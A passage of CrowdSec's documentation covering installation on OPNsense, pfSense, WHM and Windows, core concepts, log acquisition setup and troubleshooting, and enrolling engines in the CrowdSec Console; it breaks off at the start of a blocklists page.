installation") Go to `System > Firmware > Plugins`, tick the `Show community plugins` checkbox on the right, select `os-crowdsec`, and install it. ![OPNsense plugins page showing os-crowdsec and the Show community plugins checkbox](/assets/images/plugin-installation-810e9b1af24e6c749f3cf0cd761faeab.png) It will deploy three packages: * `os-crowdsec`, the plugin itself * `crowdsec` * `crowdsec-firewall-bouncer` Do not enable or start services from the terminal like a standard FreeBSD system; the plugin manages them for you. Refresh the page and go to `Services > CrowdSec > Overview` to verify the running services and installed configurations. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed. Review the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to finish setup, or continue with [the rest of the plugin documentation](https://docs.crowdsec.net/docs/next/getting_started/install_crowdsec_opnsense.md). --- # Install on pfSense New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. The CrowdSec package for pfSense is not installed from the official repositories yet. Follow the [detailed documentation](https://docs.crowdsec.net/docs/next/getting_started/install_crowdsec_pfsense.md) to install or update it from a release archive. --- # WHM plugin The WHM plugin lets you control and monitor the CrowdSec Security Engine directly from your WHM dashboard.
It includes WHM-ready defaults to help you secure your server quickly. This guide walks you through installation and the post-install checks. ## Installation[โ€‹](#installation "Direct link to Installation") ### Prerequisites: install CrowdSec[โ€‹](#prerequisites-install-crowdsec "Direct link to Prerequisites: install CrowdSec") To use this plugin, first [install the CrowdSec Security Engine](https://docs.crowdsec.net/u/getting_started/installation/linux.md) on your WHM server. ### Download the plugin[โ€‹](#download-the-plugin "Direct link to Download the plugin") First, connect to your WHM server via SSH. Go to your home directory or any directory that can be used to download the sources. SHCOPY ``` cd ~ ``` OR SHCOPY ``` cd /tmp ``` Choose [the release X.Y.Z you want to install](https://github.com/crowdsecurity/cs-whm-plugin/releases), then: * Download the source code archive. SHCOPY ``` wget https://github.com/crowdsecurity/cs-whm-plugin/archive/refs/tags/vX.Y.Z.tar.gz ``` * Extract sources: SHCOPY ``` tar -xvf vX.Y.Z.tar.gz ``` * Go to the extracted folder: SHCOPY ``` cd cs-whm-plugin-*/plugin ``` ### Install the plugin[โ€‹](#install-the-plugin "Direct link to Install the plugin") Once you have the sources, install the plugin by running the `install` script as root: SHCOPY ``` sudo sh crowdsec.sh install ``` You should see: TEXTCOPY ``` Installing CrowdSec plugin... crowdsec registered ``` If CrowdSec is already installed, the script will also use `cscli` to install the WHM collection, create acquisition files, and restart the CrowdSec service. If you don't want the script to install the WHM collection, you can use the `--only-plugin` option: TEXTCOPY ``` sudo sh crowdsec.sh install --only-plugin ``` ### Navigate to the plugin in WHM[โ€‹](#navigate-to-the-plugin-in-whm "Direct link to Navigate to the plugin in WHM") CrowdSec should appear in the sidebar under **Plugins**.
You can filter the sidebar by typing **crowdsec**. ## Post-installation checks[โ€‹](#post-installation-checks "Direct link to Post-installation checks") After installation, run the checks below to make sure everything works as expected. ### Check the CrowdSec service status[โ€‹](#check-the-crowdsec-service-status "Direct link to Check the CrowdSec service status") At the top of each CrowdSec plugin page, you can see the service status. A green tick means the service is running. ![Service status](/assets/images/whm-service-status-72947e24a28a5ff0599a1f7d46439341.png) If not, [check the troubleshooting section](#crowdsec-is-not-running). ### Check the metrics[โ€‹](#check-the-metrics "Direct link to Check the metrics") Browse to the metrics tab and ensure the CrowdSec Security Engine is reporting data. ![Metrics](/assets/images/whm-metrics-38f657bae7109998c8b046f876ca5bc6.png) If not, [check the troubleshooting section](#changing-port-configuration). ### Check the default acquisition files[โ€‹](#check-the-default-acquisition-files "Direct link to Check the default acquisition files") The plugin comes with a set of default acquisition configuration files tailored for WHM typical logs directories.
Those files are created in `/etc/crowdsec/acquis.d/`, and each file defines logs for a service you want to protect. Note that the main acquisition file is `/etc/crowdsec/acquis.yaml`, but all additional acquisitions should be placed in `/etc/crowdsec/acquis.d`. The **acquisition tab** lists each acquisition config and a summary of its contents. This section is more advanced; if you installed WHM with the defaults, the default acquisitions should be sufficient. What is being parsed can be seen in the **metrics tab** of the plugin.
The main thing to confirm is that your web server logs are being parsed. For default setups, that usually means Apache logs are read correctly. Some acquisitions may show a warning (โš ) next to log filenames, indicating nothing was parsed since the last CrowdSec restart.
Depending on server activity this can be normal; check the parsed lines in **metrics > acquisition**.
Usually, you should see activity within a few minutes. ![Acquisition not read](/assets/images/whm-acquisition-not-read-6f9fcc6e211e4a46f1172a7018dff4c6.png) ### Enroll your engine in CrowdSec's Console[โ€‹](#enroll-your-engine-in-crowdsecs-console "Direct link to Enroll your engine in CrowdSec's Console") The CrowdSec Console provides deeper insights across your Security Engines. It also lets you add features such as extra blocklists, which can help block botnets or Tor nodes.
The Console is available at [app.crowdsec.net](https://app.crowdsec.net/). You can enroll your engine by going to the Enroll tab. Fill in your enrollment key and click the `Enroll` button. ![Enroll](/assets/images/whm-enroll-46a8fa2b6db33007a3e5c18a1b4d01dc.png) You'll see a confirmation in the Console. Once accepted, your instance appears in the list. You can restart CrowdSec to refresh metadata and see attached bouncers immediately. If you do not restart, the Console updates within 15 to 30 minutes. ![Enrolled\_SE](/assets/images/whm-console-example-16aabb53496797ec47ce0f4726b71c5f.png) Explore the Console features in the [Console section](https://docs.crowdsec.net/u/console/intro). ## Troubleshoot[โ€‹](#troubleshoot "Direct link to Troubleshoot") ### CrowdSec is not running[โ€‹](#crowdsec-is-not-running "Direct link to CrowdSec is not running") Most of the time this is a port conflict or a config file error. * Check and change the ports [In the settings menu](#changing-port-configuration). * Check the logs for errors * CrowdSec logs: `sudo less /var/log/crowdsec.log` (can be verbose). * Service logs: `sudo journalctl -u crowdsec` * Ultimately, you can check the [Security Engine Troubleshooting section](https://docs.crowdsec.net/u/troubleshooting/security_engine.md) ### Changing port configuration[โ€‹](#changing-port-configuration "Direct link to Changing port configuration") The CrowdSec Local API uses port 8080 by default, and the metrics service (Prometheus) uses 6060.
It might be conflicting with another service installed on your server.
You may have a conflict on either the Local API port or the metrics port. Easily change them and restart the service from the **Settings** menu of the plugin. ![Settings](/assets/images/whm-settings-b44dc20350ecf5169fe42c596c656a45.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed on your system. Within the [post installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) you will find the next steps to configure and optimize your installation. --- # Install on Windows New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to learn the core concepts and prerequisites. ## Install the Security Engine[โ€‹](#install-the-security-engine "Direct link to Install the Security Engine") ### MSI Installer[โ€‹](#msi-installer "Direct link to MSI Installer") We provide MSI installers for Windows. Download the latest version from the [release page](https://github.com/crowdsecurity/crowdsec/releases/latest). Download and run the installer. It installs CrowdSec as a Windows service and starts it automatically. ### Chocolatey[โ€‹](#chocolatey "Direct link to Chocolatey") You can install CrowdSec using [Chocolatey](https://chocolatey.org/), a package manager for Windows. SHCOPY ``` choco install crowdsec ``` ## Install a Remediation Component[โ€‹](#install-a-remediation-component "Direct link to Install a Remediation Component") warning The Security Engine only detects. To block malicious traffic, install a [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) to enforce decisions. info The Windows Firewall [Remediation Component](https://docs.crowdsec.net/u/bouncers/intro.md) requires the **.NET 6 runtime**. Install it before running the component, or use our setup bundle to install both. The runtime can be downloaded from [Microsoft](https://dotnet.microsoft.com/en-us/download/dotnet/6.0/runtime). Choose the "Console App" download. ### MSI Installer[โ€‹](#msi-installer-1 "Direct link to MSI Installer") You can download either an MSI (component only) or a setup bundle (component + .NET 6 runtime) from the [GitHub releases](https://github.com/crowdsecurity/cs-windows-firewall-bouncer/releases). ### Chocolatey[โ€‹](#chocolatey-1 "Direct link to Chocolatey") You can install the component using [Chocolatey](https://chocolatey.org/), a package manager for Windows. SHCOPY ``` choco install crowdsec-windows-firewall-bouncer ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Great, you now have CrowdSec installed. Visit the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md) to finish setup and optimize your deployment. For IIS or Windows Firewall specifics, see the [detailed documentation](https://docs.crowdsec.net/docs/next/getting_started/install_windows.md). --- # Introduction ## What is CrowdSec Security Engine?[โ€‹](#what-is-crowdsec-security-engine "Direct link to What is CrowdSec Security Engine?") The Security Engine is a lightweight, collaborative Intrusion Detection System (IDS) with optional Web Application Firewall (WAF) capabilities. It detects behaviors that match known attack patterns defined by scenarios. At a high level, the engine works like this: 1. It reads logs from sources you define in acquisitions. 2. It normalizes them with parsers. 3. It evaluates behavior against scenarios. 4. It creates decisions based on profiles, which remediation components enforce. What makes CrowdSec unique is its collaborative threat intelligence: when you opt in, your detections help maintain a [community blocklist](https://docs.crowdsec.net/docs/next/central_api/community_blocklist.md) that protects everyone. ## What is a Remediation Component?[โ€‹](#what-is-a-remediation-component "Direct link to What is a Remediation Component?") Remediation Components (previously called *bouncers*) enforce the Security Engine's decisions by connecting to the Local API (LAPI). They can be standalone (for example, [Firewall Remediation](https://docs.crowdsec.net/u/bouncers/firewall.md) with iptables, nftables, or pf) or embedded inside applications like [Nginx](https://docs.crowdsec.net/u/bouncers/nginx.md), where Lua enforces decisions in real time. Think of this as the Intrusion Prevention System (IPS) layer that complements the Security Engine's IDS role. The Remediation Component does not decide; it simply enforces what the Security Engine decides. ## Architecture Diagram[โ€‹](#architecture-diagram "Direct link to Architecture Diagram") ![](/img/simplified_SE_overview.svg) ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") If you are new to CrowdSec, read this page once, then jump to your platform install guide. We recommend understanding the following prerequisites before you install: ### Hardware[โ€‹](#hardware "Direct link to Hardware") CrowdSec is lightweight and runs on most modern hardware. Recommended minimums: * platform: * amd64 * arm64 * armhf * 1 CPU core * 100 MB of free RAM * 1 GB of free disk space info We recommend 1 GB of free disk space due to the amount of data that can be stored in the database. ### Operating System[โ€‹](#operating-system "Direct link to Operating System") We support the following operating systems: * [Linux](https://docs.crowdsec.net/u/getting_started/installation/linux.md) * [FreeBSD](https://docs.crowdsec.net/u/getting_started/installation/freebsd.md) * [Windows](https://docs.crowdsec.net/u/getting_started/installation/windows.md) * [MacOS](https://docs.crowdsec.net/u/getting_started/installation/macos.md) * [Docker](https://docs.crowdsec.net/u/getting_started/installation/docker.md) * [Kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md) * [OPNsense](https://docs.crowdsec.net/u/getting_started/installation/opnsense.md) * [pfSense](https://docs.crowdsec.net/u/getting_started/installation/pfsense.md) * [WHM](https://docs.crowdsec.net/u/getting_started/installation/whm.md) ### Ports[โ€‹](#ports "Direct link to Ports") CrowdSec Security Engine uses the following default ports (bound to localhost/loopback by default). You can change them after installation: * 6060/tcp: Prometheus metrics port * 8080/tcp: API port ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") After installing CrowdSec, use our **[interactive Health-Check guide](https://docs.crowdsec.net/u/getting_started/health_check.md)** to verify your setup. It will walk you through detection, connectivity, and remediation so you can confirm the stack is working end to end. ## Resources[โ€‹](#resources "Direct link to Resources") [YouTube video player](https://www.youtube-nocookie.com/embed/yxbimVtd2nw?controls=1) *** ## Complete Introduction [![Complete Introduction](/img/academy/crowdsec_fundamentals.svg)](https://academy.crowdsec.net/course/crowdsec-fundamentals?utm_source=docs\&utm_medium=banner\&utm_campaign=intro-page\&utm_id=academydocs) Watch a short series of videos on how to install CrowdSec and protect your infrastructure [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/crowdsec-fundamentals?utm_source=docs\&utm_medium=banner\&utm_campaign=intro-page\&utm_id=academydocs) *** --- # Post Installation Steps Your CrowdSec installation is running. Use the steps below to finish setup and tailor CrowdSec to your environment. Items marked **recommended** [](#)are the best starting points. Items marked **optional** [](#)add visibility or customization. If you have not done it yet, run the [๐Ÿฉบ Health Check](https://docs.crowdsec.net/u/getting_started/health_check.md) to confirm detection, connectivity, and remediation.
If you hit errors during install, start with the [๐Ÿšจ troubleshooting guide](https://docs.crowdsec.net/u/getting_started/post_installation/troubleshoot.md). ### 1. CrowdSec Console โญ[โ€‹](#1-crowdsec-console- "Direct link to 1. CrowdSec Console โญ") The CrowdSec Console is a web interface that helps you manage alerts, decisions, and settings across your deployments. [Open Console Guide](https://docs.crowdsec.net/u/getting_started/post_installation/console.md) ### 2. Whitelists โญ[โ€‹](#2-whitelists- "Direct link to 2. Whitelists โญ") info Whitelists are a way to tell CrowdSec to ignore certain events or IP addresses. By default, CrowdSec whitelists private LAN IP addresses. You can add your own IPs or events to prevent false positives. [Open Whitelists Guide](https://docs.crowdsec.net/u/getting_started/post_installation/whitelists.md) ### 3. Acquisitions ๐Ÿ› ๏ธ[โ€‹](#3-acquisitions-๏ธ "Direct link to 3. Acquisitions ๐Ÿ› ๏ธ") info Acquisitions are sources of logs that CrowdSec can analyze. By default, CrowdSec attempts to detect running services and install the right parsers and scenarios. If a service is missing or logs live in a custom path, you can add acquisitions and collections manually. [Open Acquisition Guide](https://docs.crowdsec.net/u/getting_started/post_installation/acquisition.md) ### 4. Profiles ๐Ÿ› ๏ธ[โ€‹](#4-profiles-๏ธ "Direct link to 4. Profiles ๐Ÿ› ๏ธ") info Profiles are a set of rules that drives what decisions will be taken by CrowdSec. CrowdSec ships with a default profile that works for most setups. Create a custom profile if you need different ban durations, scopes, or behaviors. [Open Profiles Guide](https://docs.crowdsec.net/u/getting_started/post_installation/profiles.md) ### 5. Metrics ๐Ÿ› ๏ธ[โ€‹](#5-metrics-๏ธ "Direct link to 5. Metrics ๐Ÿ› ๏ธ") info Metrics are a way to monitor the behavior of CrowdSec. CrowdSec exposes a Prometheus endpoint so you can monitor detections, parsing, and system health. [Open Metrics Guide](https://docs.crowdsec.net/u/getting_started/post_installation/metrics.md) --- # Acquisition By default, CrowdSec tries to [detect running services](https://docs.crowdsec.net/next/log_processor/service-discovery-setup/intro) (CrowdSec >= 1.7.0) and install the appropriate log sources and [Collections](https://docs.crowdsec.net/docs/next/collections/intro). You should verify detection worked and that log paths are correct. If a service was not detected, install additional [Collections](https://docs.crowdsec.net/docs/next/collections/intro) manually. ## What log sources are already detected?[โ€‹](#what-log-sources-are-already-detected "Direct link to What log sources are already detected?") To find out which log sources are providing data to CrowdSec, query metrics with `cscli`. SHCOPY ``` cscli metrics show acquisition ``` ### How to interpret the output[โ€‹](#how-to-interpret-the-output "Direct link to How to interpret the output") The output shows log sources currently being monitored. If the table is empty, or the source you expect is missing, you may need to update configuration. See [next steps](#next-steps). ### Are the detected log sources working correctly?[โ€‹](#are-the-detected-log-sources-working-correctly "Direct link to Are the detected log sources working correctly?") When you run `cscli metrics show acquisition`, you will see sources and columns such as `Lines read` and `Lines whitelisted`. info CrowdSec tails acquisitions at startup, so if the log source has no activity since the service started, you may see an empty table. TEXTCOPY ``` Acquisition Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:/var/log/nginx/access.log โ”‚ 3 โ”‚ 3 โ”‚ - โ”‚ - โ”‚ 3 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` Here is a short explanation of the columns: * `Lines read` - The number of lines read from the log source. * `Lines parsed` - The number of lines that were successfully parsed. * `Lines unparsed` - The number of lines that were not parsed. * `Lines poured to bucket` - The number of lines that were not parsed and were sent to the bucket. * `Lines whitelisted` - The number of lines that were successfully parsed and were whitelisted before being sent to the bucket. In some cases you will see more unparsed lines than parsed lines. This can happen when a [Collection](https://docs.crowdsec.net/docs/next/collections/intro) only targets a subset of log lines. ## What services are currently supported?[โ€‹](#what-services-are-currently-supported "Direct link to What services are currently supported?") You can find a list of [Collections](https://docs.crowdsec.net/docs/next/collections/intro) on the [Hub](https://hub.crowdsec.net/). info Collections are a group of [Parsers](https://docs.crowdsec.net/docs/next/parsers/intro) and [Scenarios](https://docs.crowdsec.net/docs/next/scenarios/intro). ## Next steps[โ€‹](#next-steps "Direct link to Next steps") If you see all the services you want covered, return to the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md#3-acquisitions-%EF%B8%8F). Follow the [how to setup a new acquisition](https://docs.crowdsec.net/u/getting_started/post_installation/acquisition_new.md) section if you see some log sources are not being monitored. Follow the [troubleshooting](https://docs.crowdsec.net/u/getting_started/post_installation/acquisition_troubleshoot.md) section if your table is empty. --- # Add new log sources info We will add a [file-based acquisition](https://docs.crowdsec.net/docs/next/log_processor/data_sources/file.md). If you need a different source, adjust the instructions to match your setup. Once you have identified the service you want to add, use `cscli` to install its collection. tip You can view the available collections on the [Hub](https://hub.crowdsec.net/). * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` cscli collections add ``` SHCOPY ``` cscli.exe collections add ``` YAMLCOPY ``` # In your values.yml file agent: env: - name: COLLECTIONS value: '' ``` Once the collection is downloaded, add a new [Acquisition](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) so CrowdSec knows where to find the log source. info Each collection on the [Hub](https://hub.crowdsec.net/) includes an example [Acquisition](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md), which helps you identify files to monitor and labels to assign. info Since version `1.5.0`, you can add acquisitions via the `acquis.d` directory, which avoids editing the main configuration file. ### Create the directory if it does not exist[โ€‹](#create-the-directory-if-it-does-not-exist "Direct link to Create the directory if it does not exist") * Linux/Freebsd * Windows SHCOPY ``` sudo mkdir -p /etc/crowdsec/acquis.d ``` * Powershell * CMD SHCOPY ``` New-Item -ItemType Directory -Force -Path C:\ProgramData\CrowdSec\Config\acquis.d\ ``` SHCOPY ``` mkdir C:\ProgramData\CrowdSec\Config\acquis.d\ ``` ### Create the acquisition file[โ€‹](#create-the-acquisition-file "Direct link to Create the acquisition file") * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo touch /etc/crowdsec/acquis.d/.yaml ``` * Powershell * CMD SHCOPY ``` New-Item -ItemType File -Force -Path C:\ProgramData\CrowdSec\Config\acquis.d\.yaml ``` SHCOPY ``` .>C:\ProgramData\CrowdSec\Config\acquis.d\.yaml 2>NUL ``` YAMLCOPY ``` # In your values.yml file agent: # -- To add custom acquisitions using available datasources (https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro) additionalAcquisition: - source: file filenames: - '/path/to/your/file.log' ## Single file - '/path/to/your/files*' ## Wildcard support labels: type: '' ## Type defined in the parser ``` info You can skip the following step if you are on Kubernetes. ### Add the following contents to the file[โ€‹](#add-the-following-contents-to-the-file "Direct link to Add the following contents to the file") \.yaml YAML\.yamlCOPY ``` filenames: - "/path/to/your/file.log" ## Single file - "/path/to/your/files*" ## Wildcard support labels: type: "" ## Type defined in the parser ``` Once you have added the acquisitions, test the configuration and restart the service. * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo crowdsec -t && sudo systemctl restart crowdsec ``` * Powershell * CMD SHCOPY ``` Restart-Service crowdsec ``` SHCOPY ``` net stop crowdsec && net start crowdsec ``` SHCOPY ``` helm upgrade -f values.yaml crowdsec crowdsecurity/crowdsec ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Now that you have added a new acquisition, verify that logs are being parsed correctly. See [Are the detected log sources working correctly?](https://docs.crowdsec.net/u/getting_started/post_installation/acquisition.md#are-the-detected-log-sources-working-correctly). --- # Troubleshooting Acquisition This section walks you through troubleshooting acquisitions that are not working as expected. Depending on the acquisition type you are using, you may need to check different things. ## File-based acquisitions[โ€‹](#file-based-acquisitions "Direct link to File-based acquisitions") ### Check the log file is found and readable[โ€‹](#check-the-log-file-is-found-and-readable "Direct link to Check the log file is found and readable") The first thing to check is that the log file is found and readable by the CrowdSec service. The CrowdSec log will show whether the file was found. Log file locations change by distribution, you can find the default log location [outlined here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#where-are-the-logs-stored). * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` grep '/path/to/your/file.log' /var/log/crowdsec.log ``` SHCOPY ``` Select-String "/path/to/your/file.log" C:\ProgramData\CrowdSec\log\crowdsec.log ``` SHCOPY ``` kubectl logs -n crowdsec crowdsec-agent-* | grep '/path/to/your/file.log' ``` info Update the commands above to match your log location and the file you are searching for. File is found SHFile is foundCOPY ``` time="2024-04-16T11:47:55Z" level=info msg="Adding file /path/to/your/file.log to datasources" type=file ``` File is not found SHFile is not foundCOPY ``` time="2024-04-16T11:54:26Z" level=warning msg="No matching files for pattern /path/to/your/file.log" type=file ``` warning The above log message will log the pattern that is set on the source if you are using a globbing pattern. So you may want to alter the filter to match the parent folder for example: `grep '/path/to/your/' /var/log/crowdsec.log` ### Log file is found but not read[โ€‹](#log-file-is-found-but-not-read "Direct link to Log file is found but not read") If the log file is found but not read, you may want to check the permissions on the file. This should be highly unlikely as the CrowdSec service runs as root and should be able to read any file. However, if you are running inside a container environment you may need to check the permissions on the file. If you are not running inside a container environment, you may be hitting the default file-based acquisition behavior, which uses `inotify` to watch the file. You can disable this by setting `poll_without_inotify` to `true` in the acquisition configuration. Example acquisition SHExample acquisitionCOPY ``` filenames: - /path/to/your/file.log poll_without_inotify: true labels: type: your_type ``` ### Log file is read but not parsed[โ€‹](#log-file-is-read-but-not-parsed "Direct link to Log file is read but not parsed") If the log file is read but not parsed, you may want to check the acquisition is correctly configured. #### Type label[โ€‹](#type-label "Direct link to Type label") First, check that the acquisition configuration matches the example shown on the [Hub](https://hub.crowdsec.net/). For example, if you are using the [NGINX Collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/nginx), set `type` to `nginx` in the acquisition configuration. Example acquisition SHExample acquisitionCOPY ``` filenames: - /var/log/nginx/*.log labels: type: nginx ``` If you provide the wrong `type`, the acquisition will not find the correct parser. Refer to the [Collection](https://hub.crowdsec.net/collections) page when setting up a new acquisition; most collections include an example config. #### Explain the log line[โ€‹](#explain-the-log-line "Direct link to Explain the log line") If you are still having issues parsing log lines, use `cscli` to explain a line. SHCOPY ``` tail -n 10 /path/to/your/file.log | cscli explain -f- --type $TYPE -v ``` info Replace `$TYPE` with the type you have set in the acquisition configuration. Keep in mind that certain collections are specifically designed to target specific types of log entries and will not parse every log line. For instance, the [sshd collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/sshd) is intended to only parse lines related to failed authentication and not all entries from the sshd log. If you are still stuck, reach out on [Discord](https://discord.gg/crowdsec) or the [community forum](https://discourse.crowdsec.net/). --- # Enroll your Security Engine in CrowdSec Console The CrowdSec Console is a web interface providing management and extra features for CrowdSec Products. For Security Engine users, the Console offers: * A centralized view of your security posture across all your machines. * The ability to manage additional blocklists * And many quality of life and advanced features to enhance your protection. The following guide assumes you have successfully installed one or more CrowdSec Security Engines.
If not, start with one of these guides: * [Install on Linux](https://docs.crowdsec.net/u/getting_started/installation/linux.md) * [Install on FreeBSD](https://docs.crowdsec.net/u/getting_started/installation/freebsd.md) * [Install on Windows](https://docs.crowdsec.net/u/getting_started/installation/windows.md) * [Install on MacOS](https://docs.crowdsec.net/u/getting_started/installation/macos.md) * [Install on Kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md) ## Sign Up[โ€‹](#sign-up "Direct link to Sign Up") info You can sign up using Google SSO, Github SSO, or email and password.
We recommend using SSO for the best experience, but you can choose the method that works best for you. Head over to the [CrowdSec Console โ†—๏ธ](https://app.crowdsec.net/signup) and sign up for a new account. [![CrowdSec Signup Screen](/img/console_login_light.png)![CrowdSec Signup Screen](/img/console_login_dark.png)](https://app.crowdsec.net/signup) ### Email Authentication[โ€‹](#email-authentication "Direct link to Email Authentication") If you have chosen to sign up with email and password, you will receive a verification email. Click the link or enter the code to verify your account info If you do not receive an email, check your spam folder.
If it is still missing, click "Resend verification email" on the login page. *If more than 5 minutes have passed, [contact us](mailto:support@crowdsec.net).* ## Survey[โ€‹](#survey "Direct link to Survey") When you log in for the first time, we ask a few questions to understand your use case. ![CrowdSec Survey](/img/console_signup_survey_light.png)![CrowdSec Survey](/img/console_signup_survey_dark.png) info The survey is optional. We use the information to tailor your experience and better understand users. ## Engines page[โ€‹](#engines-page "Direct link to Engines page") After signing up, the first page you see is the engines page, where you can view enrolled engines and their status. ![CrowdSec Enrollment Key](/img/console_mainpage_light.png)![CrowdSec Enrollment Key](/img/console_mainpage_dark.png) Since this is your first enrollment, you will not see any engines yet. Let's enroll one. At the bottom of the page, you will see a code card with a command to run on your engine. This enrolls it to your account. info `$ENROLLMENT_KEY` is a placeholder for your actual enrollment key. * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo cscli console enroll $ENROLLMENT_KEY ``` SHCOPY ``` cscli.exe console enroll $ENROLLMENT_KEY ``` YAMLCOPY ``` # In your values.yml file lapi: env: # To enroll the Security Engine to the console - name: ENROLL_KEY value: '{enroll-key}' - name: ENROLL_INSTANCE_NAME value: 'my-k8s-cluster' - name: ENROLL_TAGS value: 'k8s linux test' ``` Command Output SHCommand OutputCOPY ``` INFO[2024-02-21T16:50:17Z] manual set to true INFO[2024-02-21T16:50:17Z] Enabled manual : Forward manual decisions to the console INFO[2024-02-21T16:50:17Z] Enabled tainted : Forward alerts from tainted scenarios to the console INFO[2024-02-21T16:50:17Z] Watcher successfully enrolled. Visit https://app.crowdsec.net to accept it. INFO[2024-02-21T16:50:17Z] Please restart crowdsec after accepting the enrollment. ``` ## Accept enrollment[โ€‹](#accept-enrollment "Direct link to Accept enrollment") Once you execute the command, a new engine appears on the engines page. Select it and click "Accept enroll." ![CrowdSec Accept Enrollment](/img/console_enroll_light.png)![CrowdSec Accept Enrollment](/img/console_enroll_dark.png) tip If you do not see the engine, use the refresh button near "Add Security Engine". ## Restart CrowdSec[โ€‹](#restart-crowdsec "Direct link to Restart CrowdSec") After accepting the enrollment, restart the CrowdSec service. * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo systemctl restart crowdsec ``` SHCOPY ``` Restart-Service crowdsec ``` SHCOPY ``` kubectl delete pod -n crowdsec crowdsec-lapi-* ``` warning Restarting is not critical immediately, but it ensures metadata is fully synchronized. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Now that your first engine is enrolled, explore the Console features: * [Third-Party Blocklists](https://docs.crowdsec.net/u/getting_started/post_installation/console_blocklists.md) * [CrowdSec Hub](https://docs.crowdsec.net/u/getting_started/post_installation/console_hub.md) If you want to follow the full setup, return to the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md#1-crowdsec-console-). --- # CrowdSec Blocklists In the community edition of CrowdSec, you can subscribe to three blocklists for proactive protection against known malicious sources. These lists are curated and updated regularly by the CrowdSec team. ## Subscribing to your first blocklist[โ€‹](#subscribing-to-your-first-blocklist "Direct link to Subscribing to your first blocklist") To subscribe to a blocklist, you need to go to the `Blocklists` tab in the console. ![CrowdSec Blocklists](/img/console_blocklists_light.png)![CrowdSec 